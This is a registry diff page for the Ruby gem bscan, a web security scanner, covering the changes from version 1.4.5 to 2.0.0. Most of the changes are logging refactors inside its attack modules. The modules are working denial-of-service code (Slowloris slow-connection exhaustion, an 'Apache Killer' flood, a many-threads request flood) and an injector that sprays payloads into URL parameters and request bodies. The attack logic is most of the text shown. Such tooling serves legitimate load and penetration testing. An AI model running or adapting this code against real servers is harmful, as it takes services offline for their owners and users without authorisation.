bscan 1.4.5 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/CONFIG.rdoc +18 -7
- data/README.rdoc +6 -3
- data/VERSION +1 -1
- data/bin/bscan +41 -3
- data/bscan.gemspec +2 -2
- data/lib/bscan.rb +11 -213
- data/lib/bscan/modules/injector.rb +23 -24
- data/lib/bscan/modules/kill_apache.rb +40 -36
- data/lib/bscan/modules/many_threads.rb +7 -8
- data/lib/bscan/modules/slowloris.rb +115 -100
- data/lib/bscan/utils/bscan_helper.rb +304 -11
- data/release_notes.txt +5 -0
- data/test.sh +1 -1
- metadata +2 -2
@@ -6,9 +6,8 @@ module Injector
|
|
6
6
|
|
7
7
|
def run *args
|
8
8
|
|
9
|
-
@
|
10
|
-
@
|
11
|
-
@bscan.activity[0]=true
|
9
|
+
@config ||= @bscan_config
|
10
|
+
@activity[0]=true
|
12
11
|
|
13
12
|
@prop_pref = 'bscan.injector.'
|
14
13
|
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
@@ -21,19 +20,19 @@ module Injector
|
|
21
20
|
end
|
22
21
|
|
23
22
|
url = msg.url.dup.to_s
|
24
|
-
|
23
|
+
Log 2, "#{@mid}run for #{url}"
|
25
24
|
begin
|
26
25
|
if (url =~ /([^?]+)\?(.+)/)
|
27
26
|
beg = "#{$1}?"
|
28
27
|
params = $2
|
29
|
-
|
28
|
+
Log 2, "#{@mid}run BEG: #{beg} PARAMS: #{params} FILE: #{@config[prop('file')]}"
|
30
29
|
injs = open_in_path(@config[prop('file')])
|
31
30
|
injs.each_line do |l|
|
32
31
|
l.chomp!
|
33
32
|
next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
|
34
|
-
|
33
|
+
Log 2, "#{@mid}run injecting: #{l}"
|
35
34
|
|
36
|
-
@
|
35
|
+
@activity[0]=true
|
37
36
|
|
38
37
|
do_scan(msg, beg + l, l) # in parameter name
|
39
38
|
do_scan(msg, beg.chop + l, l) # in URL
|
@@ -41,7 +40,7 @@ module Injector
|
|
41
40
|
pos=0
|
42
41
|
while (m=params.match(/([^&]+)=([^&]+)/,pos))
|
43
42
|
trg = beg + params[0..m.begin(2)-1] + l + params[m.end(2)..-1]
|
44
|
-
@
|
43
|
+
@activity[0]=true
|
45
44
|
do_scan(msg, trg, l)
|
46
45
|
pos=m.end(1)+1
|
47
46
|
end
|
@@ -52,8 +51,8 @@ module Injector
|
|
52
51
|
inject_to_body msg if @config['bscan.injector.one.inject_to_body'] == 'true'
|
53
52
|
|
54
53
|
rescue Exception => e
|
55
|
-
|
56
|
-
|
54
|
+
Log 0, "#{@mid}run Exception: #{e.message}"
|
55
|
+
Log 0, e.backtrace.join("\n")
|
57
56
|
end
|
58
57
|
end
|
59
58
|
|
@@ -61,10 +60,10 @@ module Injector
|
|
61
60
|
param = @config[prop('inject_instead_of')]
|
62
61
|
a=[]
|
63
62
|
if (not param or (a=param.split(':',3)).size < 3)
|
64
|
-
|
63
|
+
Log 0, "#{@mid}inject_to_pattern: 'inject_instead_of' parameter is not valid #{param}"
|
65
64
|
return
|
66
65
|
end
|
67
|
-
|
66
|
+
Log 2, "#{@mid}inject_to_pattern input: #{a.join('|')}"
|
68
67
|
begin
|
69
68
|
p,f,proto = Regexp.escape(a[0]), a[1], a[2]
|
70
69
|
file = open_in_path(f)
|
@@ -76,15 +75,15 @@ module Injector
|
|
76
75
|
injs.each_line do |l|
|
77
76
|
l.chomp!
|
78
77
|
next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
|
79
|
-
|
78
|
+
Log 2, "#{@mid}inject_to_pattern injecting: #{l}"
|
80
79
|
|
81
80
|
pos = 0
|
82
81
|
while (m=req.match(/(#{p}).*?(#{p})/,pos))
|
83
82
|
r = (req[0..m.begin(1)-1] + l + req[m.end(2)..-1]).gsub /#{p}(.*?)#{p}/,'\1'
|
84
83
|
|
85
|
-
|
84
|
+
Log 2, "#{@mid}inject_to_pattern new req:\n#{r}"
|
86
85
|
set_len r
|
87
|
-
@
|
86
|
+
@activity[0]=true
|
88
87
|
send_req r,proto,l
|
89
88
|
pos=m.end(1)
|
90
89
|
end
|
@@ -92,17 +91,17 @@ module Injector
|
|
92
91
|
injs.close
|
93
92
|
|
94
93
|
rescue Exception => e
|
95
|
-
|
96
|
-
|
94
|
+
Log 0, "#{@mid}inject_to_pattern Exception: #{e.message}"
|
95
|
+
Log 0, e.backtrace.join("\n")
|
97
96
|
end
|
98
97
|
|
99
98
|
end
|
100
99
|
|
101
100
|
def inject_to_body msg
|
102
101
|
scanf = false
|
103
|
-
|
102
|
+
Log 2, "#{@mid}inject_to_body req: #{msg.req_str}"
|
104
103
|
msg.request_headers.each do |a|
|
105
|
-
|
104
|
+
Log 2, "#{@mid}inject_to_body hdr: #{a[0]} #{a[1]}"
|
106
105
|
if a.size > 1 and a[0] =~ /content-type/i and a[1] =~ /application\/x-www-form-urlencoded/i
|
107
106
|
scanf = true
|
108
107
|
break
|
@@ -118,21 +117,21 @@ module Injector
|
|
118
117
|
injs.each_line do |l|
|
119
118
|
l.chomp!
|
120
119
|
next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
|
121
|
-
|
120
|
+
Log 2, "#{@mid}inject_to_body injecting: #{l}"
|
122
121
|
pos=start_pos
|
123
122
|
while (m=msg.req_str.match(/([^=]+)=([^=]+)/,pos))
|
124
123
|
req = msg.req_str[0..m.begin(2)-1] + l + msg.req_str[m.end(2)..-1]
|
125
124
|
req.sub!(/content-length\s*:\s*\d+/i, "Content-Length: "+(req.length-start_pos).to_s)
|
126
|
-
|
127
|
-
@
|
125
|
+
Log 2, "#{@mid}inject_to_body #{pos} #{req}"
|
126
|
+
@activity[0]=true
|
128
127
|
send_req req, msg.getProtocol, l
|
129
128
|
pos=m.end(1)+1
|
130
129
|
end
|
131
130
|
end
|
132
131
|
injs.close
|
133
132
|
rescue Exception => e
|
134
|
-
|
135
|
-
|
133
|
+
Log 0, "#{@mid}inject_to_body Exception: #{e.message}"
|
134
|
+
Log 0, e.backtrace.join("\n")
|
136
135
|
end
|
137
136
|
end
|
138
137
|
|
@@ -7,9 +7,8 @@ require 'bscan/utils/bscan_helper.rb'
|
|
7
7
|
|
8
8
|
module KillApache
|
9
9
|
def run *args
|
10
|
-
@
|
11
|
-
@
|
12
|
-
@bscan.activity[0]=true
|
10
|
+
@config ||= @bscan_config
|
11
|
+
@activity[0]=true
|
13
12
|
|
14
13
|
@prop_pref = 'bscan.kill_apache.'
|
15
14
|
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
@@ -26,7 +25,7 @@ module KillApache
|
|
26
25
|
rtf ||= '10'
|
27
26
|
rtf = rtf.to_i
|
28
27
|
rpt = @config[prop('req_per_thread')]
|
29
|
-
rpt ||= '
|
28
|
+
rpt ||= '10'
|
30
29
|
rpt = rpt.to_i
|
31
30
|
@rto = @config[prop('read_timeout')]
|
32
31
|
@rto ||= '10'
|
@@ -54,7 +53,7 @@ module KillApache
|
|
54
53
|
end
|
55
54
|
req.sub!(/@@@/,inj)
|
56
55
|
|
57
|
-
|
56
|
+
Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"
|
58
57
|
|
59
58
|
@threadinfo = {}
|
60
59
|
threads.times do |t|
|
@@ -70,16 +69,31 @@ module KillApache
|
|
70
69
|
|
71
70
|
rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
|
72
71
|
|
73
|
-
|
72
|
+
Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
|
74
73
|
|
74
|
+
threads.times do |t|
|
75
|
+
Thread.new do
|
76
|
+
begin
|
77
|
+
Log 2, "#{@mid}run thread: #{t} #{rpt}"
|
78
|
+
for con in 0..rpt-1
|
79
|
+
send_get_rsp host,port,req,proto,t,con
|
80
|
+
end
|
81
|
+
rescue Exception => e
|
82
|
+
Log 1, "#{@mid}run Exception: #{e.message}"
|
83
|
+
Log 1, e.backtrace.join("\n")
|
84
|
+
Thread.current.exit
|
85
|
+
end
|
86
|
+
end
|
87
|
+
end
|
88
|
+
|
75
89
|
# Monitoring thread
|
76
|
-
|
90
|
+
mont = Thread.new do
|
77
91
|
maxtime=0
|
78
92
|
while (true)
|
79
93
|
begin
|
80
94
|
sleep 2.5
|
81
95
|
rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
|
82
|
-
|
96
|
+
Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
|
83
97
|
maxtime = rt if rt > nrt*rtf && rt > maxtime
|
84
98
|
ex = true
|
85
99
|
tnum = 0
|
@@ -97,39 +111,29 @@ module KillApache
|
|
97
111
|
end
|
98
112
|
tnum += 1 if inc_t
|
99
113
|
end
|
100
|
-
|
114
|
+
Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
|
101
115
|
break if ex
|
102
116
|
rescue Exception => e
|
103
|
-
|
104
|
-
|
117
|
+
Log 1, "#{@mid}run Exception: #{e.message}"
|
118
|
+
Log 1, e.backtrace.join("\n")
|
105
119
|
end
|
106
120
|
end
|
107
|
-
|
121
|
+
Log 1, "#{@mid}run exiting monitor: #{maxtime}"
|
108
122
|
if maxtime > 0
|
109
123
|
issue = Issue.new "#{@mid.chop}: Apache Killer succeeded", trg, "Medium", "Firm", req, rsp,
|
110
124
|
"Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
|
111
|
-
|
125
|
+
write_issue_state issue
|
112
126
|
end
|
113
127
|
end
|
114
128
|
|
115
|
-
|
116
|
-
|
117
|
-
|
118
|
-
|
119
|
-
for con in 0..rpt-1
|
120
|
-
send_get_rsp host,port,req,proto,t,con
|
121
|
-
end
|
122
|
-
rescue Exception => e
|
123
|
-
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
|
124
|
-
@bscan.Log 1, e.backtrace.join("\n")
|
125
|
-
Thread.current.exit
|
126
|
-
end
|
127
|
-
end
|
128
|
-
end
|
129
|
+
|
130
|
+
mont.join
|
131
|
+
|
132
|
+
|
129
133
|
end
|
130
134
|
|
131
135
|
def send_get_rsp host,port,req,proto,t,c
|
132
|
-
@
|
136
|
+
@activity[0]=true
|
133
137
|
@threadinfo[t][c] = 1
|
134
138
|
rsp =''
|
135
139
|
s=nil
|
@@ -144,19 +148,19 @@ module KillApache
|
|
144
148
|
end
|
145
149
|
l = s.syswrite(req)
|
146
150
|
raise "only #{l} bytes out of #{req.length} written #{t} #{req}" if l != req.length
|
147
|
-
rsp =
|
148
|
-
|
151
|
+
rsp = read_response_socket s
|
152
|
+
Log 2, "#{@mid}send_get_rsp succeeded for #{t} #{rsp}"
|
149
153
|
end
|
150
154
|
rescue Exception => e
|
151
|
-
|
152
|
-
|
155
|
+
Log 1, "#{@mid}send_get_rsp failed for #{t} Exception: #{e.message}"
|
156
|
+
Log 1, e.backtrace.join("\n")
|
153
157
|
@threadinfo[t][c] = nil
|
154
158
|
end
|
155
159
|
|
156
160
|
begin
|
157
161
|
s.close if s
|
158
162
|
rescue Exception => e
|
159
|
-
|
163
|
+
Log 1, "#{@mid}send_get_rsp close for #{t} Exception: #{e.message}"
|
160
164
|
end
|
161
165
|
@threadinfo[t][c] = 0
|
162
166
|
|
@@ -168,16 +172,16 @@ module KillApache
|
|
168
172
|
@threadinfo[t] ||= {}
|
169
173
|
rsp = ''
|
170
174
|
start = Time.now
|
171
|
-
@
|
175
|
+
@activity[0]=true
|
172
176
|
begin
|
173
177
|
rsp = send_get_rsp host,port,req,proto,t,0
|
174
178
|
rescue Exception => e
|
175
|
-
|
179
|
+
Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
|
176
180
|
end
|
177
181
|
[rsp,Time.now - start]
|
178
182
|
end
|
179
183
|
|
180
|
-
def
|
184
|
+
def read_response_socket s
|
181
185
|
rsp=''
|
182
186
|
begin
|
183
187
|
while (ch=s.sysread(1))
|
@@ -3,10 +3,9 @@ require 'bscan/utils/bscan_helper.rb'
|
|
3
3
|
module ManyThreads
|
4
4
|
|
5
5
|
def run *args
|
6
|
-
@
|
7
|
-
@config ||= @bscan.bscan_config
|
6
|
+
@config ||= @bscan_config
|
8
7
|
|
9
|
-
@
|
8
|
+
@activity[0]=true
|
10
9
|
|
11
10
|
@prop_pref = 'bscan.many_threads.'
|
12
11
|
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
@@ -15,12 +14,12 @@ module ManyThreads
|
|
15
14
|
param = @config[prop('request')]
|
16
15
|
a=[]
|
17
16
|
if (not param or (a=param.split(':',3)).size < 2)
|
18
|
-
|
17
|
+
Log 0, "#{@mid}run: 'request' parameter is not valid #{param}, it should be 'request.txt:protocol[:repeater]'"
|
19
18
|
return
|
20
19
|
end
|
21
20
|
threads = @config[prop('threads')]
|
22
21
|
threads ||= '10'
|
23
|
-
|
22
|
+
Log 2, "#{@mid}run input: #{a.join('|')} #{threads}"
|
24
23
|
|
25
24
|
threads = threads.to_i
|
26
25
|
|
@@ -40,13 +39,13 @@ module ManyThreads
|
|
40
39
|
file.close
|
41
40
|
threads.times do
|
42
41
|
Thread.new() {
|
43
|
-
@
|
42
|
+
@activity[0]=true
|
44
43
|
send_req req, proto, ''
|
45
44
|
}
|
46
45
|
end
|
47
46
|
rescue Exception => e
|
48
|
-
|
49
|
-
|
47
|
+
Log 0, "#{@mid}run Exception: #{e.message}"
|
48
|
+
Log 0, e.backtrace.join("\n")
|
50
49
|
end
|
51
50
|
end
|
52
51
|
end
|
@@ -1,3 +1,4 @@
|
|
1
|
+
require "java"
|
1
2
|
require "socket"
|
2
3
|
require "thread"
|
3
4
|
require "openssl"
|
@@ -5,39 +6,25 @@ require "openssl"
|
|
5
6
|
require 'bscan/utils/bscan_helper.rb'
|
6
7
|
|
7
8
|
module Slowloris
|
9
|
+
|
8
10
|
def run *args
|
9
|
-
@bscan = args[0]
|
10
|
-
@config ||= @bscan.bscan_config
|
11
|
-
@bscan.activity[0]=true
|
12
11
|
|
13
12
|
@prop_pref = 'bscan.slowloris.'
|
14
13
|
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
15
14
|
@mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.'
|
16
15
|
begin
|
17
|
-
proto = @config[prop('protocol')]
|
18
|
-
proto ||= 'http'
|
19
|
-
|
20
|
-
threads = @config[prop('threads')]
|
21
|
-
threads ||= '20'
|
22
|
-
threads = threads.to_i
|
23
|
-
|
24
|
-
rtf = @config[prop('response_time_factor')]
|
25
|
-
rtf ||= '5'
|
26
|
-
rtf = rtf.to_i
|
27
|
-
slt = @config[prop('sleep_time')]
|
28
|
-
slt ||= '100'
|
29
|
-
slt = slt.to_i
|
30
|
-
cn = @config[prop('con_nbr_per_thread')]
|
31
|
-
cn ||= 50
|
32
|
-
cn = cn.to_i
|
33
|
-
ppc = @config[prop('pack_per_con')]
|
34
|
-
ppc ||= 5
|
35
|
-
ppc = ppc.to_i
|
36
16
|
|
37
|
-
|
38
|
-
|
17
|
+
dlw = get_par 'delay_on_write',true
|
18
|
+
proto = get_par 'protocol', 'http'
|
19
|
+
threads = get_par 'threads', dlw ? 500:20
|
20
|
+
rtf = get_par 'response_time_factor',5
|
21
|
+
slt = get_par 'sleep_time', dlw ? 5:100
|
22
|
+
cn = get_par 'con_per_thread', dlw ? 1:50
|
23
|
+
ppc = get_par 'pack_per_con', dlw ? 50:5
|
24
|
+
hli = get_par 'health_check_int', 2
|
25
|
+
http_method = get_par 'method', 'POST'
|
26
|
+
req = @bscan_config[prop('request')]
|
39
27
|
|
40
|
-
req = @config[prop('request')]
|
41
28
|
nreq = nil
|
42
29
|
if req
|
43
30
|
file = open_in_path(req)
|
@@ -46,7 +33,7 @@ module Slowloris
|
|
46
33
|
file.close
|
47
34
|
nreq = req
|
48
35
|
else
|
49
|
-
host =
|
36
|
+
host = get_par 'hostport',''
|
50
37
|
host,port = host.split(':') if host
|
51
38
|
raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port
|
52
39
|
req = "#{http_method} /@@@ HTTP/1.1\r\n" +
|
@@ -61,7 +48,7 @@ module Slowloris
|
|
61
48
|
end
|
62
49
|
|
63
50
|
|
64
|
-
|
51
|
+
Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port} #{proto} #{dlw}\n#{req}"
|
65
52
|
# rsp,nrt = get_normal_response_time nreq,proto
|
66
53
|
@threadinfo = {}
|
67
54
|
trg,host,port = get_url_host_port req,proto
|
@@ -69,17 +56,56 @@ module Slowloris
|
|
69
56
|
@infom ||= Mutex.new
|
70
57
|
|
71
58
|
rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
|
72
|
-
|
59
|
+
Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
|
73
60
|
|
61
|
+
threads.times do |t|
|
62
|
+
|
63
|
+
@infom.lock
|
64
|
+
@threadinfo[t] = {}
|
65
|
+
@infom.unlock
|
66
|
+
|
67
|
+
for con in 0..cn-1
|
68
|
+
@infom.lock
|
69
|
+
@threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
|
70
|
+
@infom.unlock
|
71
|
+
end
|
72
|
+
|
73
|
+
Thread.new do
|
74
|
+
begin
|
75
|
+
Log 2, "#{@mid}run thread: #{t} #{cn}"
|
76
|
+
if (!dlw)
|
77
|
+
make_conns cn,host,port,req,proto,t
|
78
|
+
for pcnt in 0..ppc-1
|
79
|
+
Log 2, "#{@mid}run after sleep: #{t} #{cn}"
|
80
|
+
for con in 0..cn-1
|
81
|
+
send_more host,port,proto,t,con
|
82
|
+
end
|
83
|
+
sleep slt
|
84
|
+
end
|
85
|
+
else
|
86
|
+
for pcnt in 0..ppc-1
|
87
|
+
Log 2, "#{@mid}run sending pack #{pcnt}: #{t} #{cn}"
|
88
|
+
for con in 0..cn-1
|
89
|
+
send_slow host,port,nreq,proto,t,con,true,slt
|
90
|
+
end
|
91
|
+
end
|
92
|
+
end
|
93
|
+
raise Exception => e
|
94
|
+
Log 1, "#{@mid}run Exception: #{e.message}"
|
95
|
+
Log 1, e.backtrace.join("\n")
|
96
|
+
Thread.current.exit
|
97
|
+
end
|
98
|
+
end
|
99
|
+
end
|
100
|
+
|
74
101
|
# Monitoring thread
|
75
|
-
Thread.new do
|
102
|
+
mont = Thread.new do
|
76
103
|
maxtime=0
|
77
104
|
while (true)
|
78
105
|
begin
|
79
|
-
|
80
|
-
sleep dl < 10 ? 10 : dl
|
106
|
+
sleep hli
|
81
107
|
rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
|
82
|
-
|
108
|
+
Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
|
83
109
|
maxtime = rt if rt > nrt*rtf && rt > maxtime
|
84
110
|
ex = true
|
85
111
|
tnum = 0
|
@@ -95,61 +121,29 @@ module Slowloris
|
|
95
121
|
end
|
96
122
|
tnum += 1 if inc_t
|
97
123
|
end
|
98
|
-
|
124
|
+
Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{hli} sec"
|
99
125
|
break if ex
|
100
126
|
rescue Exception => e
|
101
|
-
|
102
|
-
|
127
|
+
Log 1, "#{@mid}run Exception: #{e.message}"
|
128
|
+
Log 1, e.backtrace.join("\n")
|
103
129
|
end
|
104
130
|
end
|
105
|
-
|
131
|
+
Log 2, "#{@mid}run exiting monitor: #{maxtime}"
|
106
132
|
if maxtime > 0
|
107
|
-
issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", req, rsp,
|
133
|
+
issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", dlw ? nreq:req, rsp,
|
108
134
|
"Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
|
109
|
-
|
135
|
+
write_issue_state issue
|
110
136
|
end
|
137
|
+
close_all
|
111
138
|
end
|
112
|
-
|
113
|
-
|
114
139
|
|
140
|
+
mont.join()
|
115
141
|
|
116
|
-
|
117
|
-
threads.times do |t|
|
118
|
-
|
119
|
-
@infom.lock
|
120
|
-
@threadinfo[t] = {}
|
121
|
-
@infom.unlock
|
122
|
-
|
123
|
-
for con in 0..cn-1
|
124
|
-
@infom.lock
|
125
|
-
@threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
|
126
|
-
@infom.unlock
|
127
|
-
end
|
128
|
-
|
129
|
-
Thread.new do
|
130
|
-
begin
|
131
|
-
@bscan.Log 2, "#{@mid}run thread: #{t} #{cn}"
|
132
|
-
make_conns cn,host,port,req,proto,t
|
133
|
-
for pcnt in 0..ppc-1
|
134
|
-
@bscan.Log 2, "#{@mid}run after sleep: #{t} #{cn}"
|
135
|
-
for con in 0..cn-1
|
136
|
-
send_more host,port,proto,t,con
|
137
|
-
end
|
138
|
-
sleep slt
|
139
|
-
end
|
140
|
-
raise Exception => e
|
141
|
-
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
|
142
|
-
@bscan.Log 1, e.backtrace.join("\n")
|
143
|
-
Thread.current.exit
|
144
|
-
end
|
145
|
-
end
|
146
|
-
end
|
147
|
-
close_all
|
148
142
|
|
149
143
|
|
150
144
|
rescue Exception => e
|
151
|
-
|
152
|
-
|
145
|
+
Log 0, "#{@mid}run Exception: #{e.message}"
|
146
|
+
Log 0, e.backtrace.join("\n")
|
153
147
|
end
|
154
148
|
end
|
155
149
|
def update_info t,con,val
|
@@ -169,11 +163,11 @@ module Slowloris
|
|
169
163
|
end
|
170
164
|
end
|
171
165
|
|
172
|
-
def make_conns nbr,host,port,req,proto,t
|
173
|
-
|
166
|
+
def make_conns nbr,host,port,req,proto,t,readto=0
|
167
|
+
Log 2, "#{@mid}make_conns: #{t} #{nbr}"
|
174
168
|
nbr.times do |con|
|
175
|
-
|
176
|
-
send_slow host,port,req,proto,t,con
|
169
|
+
Log 2, "#{@mid}make_conns connection: #{t} #{con}"
|
170
|
+
send_slow host,port,req,proto,t,con,true,readto
|
177
171
|
end
|
178
172
|
end
|
179
173
|
|
@@ -181,18 +175,19 @@ module Slowloris
|
|
181
175
|
send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false
|
182
176
|
end
|
183
177
|
|
184
|
-
def send_slow host,port,req,proto,t,con,reopen=true
|
185
|
-
@bscan.activity[0]=true
|
178
|
+
def send_slow host,port,req,proto,t,con,reopen=true,readto=0
|
179
|
+
# @bscan.activity[0]=true
|
186
180
|
begin
|
187
181
|
s = @threadinfo[t][con]
|
188
182
|
rndr = random_url(req)
|
189
183
|
|
190
184
|
if !s || s.closed? || s.syswrite(rndr) != rndr.length
|
191
185
|
s.close if s && !s.closed?
|
192
|
-
raise "can't send more, connection closed #{host} #{port} #{t} #{con}" if not reopen
|
186
|
+
raise "can't send more, connection closed #{host} #{port} #{t} #{con} #{readto}" if not reopen
|
193
187
|
|
194
|
-
@bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}"
|
195
188
|
s = TCPSocket.new(host, port)
|
189
|
+
Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con} #{readto}"
|
190
|
+
# Log 2, "#{@mid}send_slow socket# #{`netstat -n | wc -l`.chomp}"
|
196
191
|
if (proto =~ /https/i)
|
197
192
|
ctx = OpenSSL::SSL::SSLContext.new
|
198
193
|
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
@@ -202,10 +197,15 @@ module Slowloris
|
|
202
197
|
update_info t,con,s
|
203
198
|
end
|
204
199
|
s.syswrite(rndr)
|
205
|
-
|
206
|
-
|
200
|
+
Log 2, "#{@mid}send_slow succeeded for #{t} #{con} #{rndr}"
|
201
|
+
Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
|
202
|
+
if readto > 0
|
203
|
+
rsp = read_response s,readto
|
204
|
+
Log 2, "#{@mid}send_slow rsp #{t} #{con}\n#{rsp}"
|
205
|
+
end
|
207
206
|
rescue Exception => e
|
208
|
-
|
207
|
+
Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message} #{e.to_s}"
|
208
|
+
Log 1, e.backtrace.join("\n")
|
209
209
|
begin
|
210
210
|
s.close
|
211
211
|
rescue
|
@@ -222,7 +222,7 @@ module Slowloris
|
|
222
222
|
@threadinfo[t] ||= {}
|
223
223
|
rsp = ''
|
224
224
|
start = Time.now
|
225
|
-
@bscan.activity[0]=true
|
225
|
+
# @bscan.activity[0]=true
|
226
226
|
req = random_url req
|
227
227
|
begin
|
228
228
|
send_slow host,port,req,proto,t,0
|
@@ -232,7 +232,7 @@ module Slowloris
|
|
232
232
|
end
|
233
233
|
rsp = read_response s
|
234
234
|
rescue Exception => e
|
235
|
-
|
235
|
+
Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
|
236
236
|
end
|
237
237
|
begin
|
238
238
|
s.close
|
@@ -242,22 +242,37 @@ module Slowloris
|
|
242
242
|
[rsp,Time.now - start]
|
243
243
|
end
|
244
244
|
|
245
|
-
def read_response s
|
245
|
+
def read_response s,to=0
|
246
246
|
rsp=''
|
247
|
-
|
248
|
-
|
249
|
-
|
250
|
-
|
251
|
-
|
252
|
-
|
253
|
-
|
254
|
-
rsp +=
|
255
|
-
|
256
|
-
|
247
|
+
begin
|
248
|
+
while (ch=s.sysread(1))
|
249
|
+
rsp += ch
|
250
|
+
return rsp if msg_end rsp
|
251
|
+
if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
|
252
|
+
len = $1.to_i
|
253
|
+
while (c=s.sysread(1))
|
254
|
+
rsp += c
|
255
|
+
if msg_end rsp
|
256
|
+
break if len <= 0
|
257
|
+
if (to <= 0)
|
258
|
+
rsp += s.sysread(len)
|
259
|
+
else
|
260
|
+
Log 2, "#{@mid}read_response len #{len} #{to} #{Float(to)/len}"
|
261
|
+
len.times do |n|
|
262
|
+
rsp += s.sysread(1)
|
263
|
+
sleep Float(to)/len
|
264
|
+
end
|
265
|
+
end
|
266
|
+
break
|
267
|
+
end
|
268
|
+
end
|
269
|
+
break
|
257
270
|
end
|
258
|
-
break
|
259
271
|
end
|
260
|
-
|
272
|
+
rescue Exception => e
|
273
|
+
Log 1, "#{@mid}read_response Exception #{e.message}\n#{rsp}"
|
274
|
+
Log 1, e.backtrace.join("\n")
|
275
|
+
end
|
261
276
|
rsp
|
262
277
|
end
|
263
278
|
end
|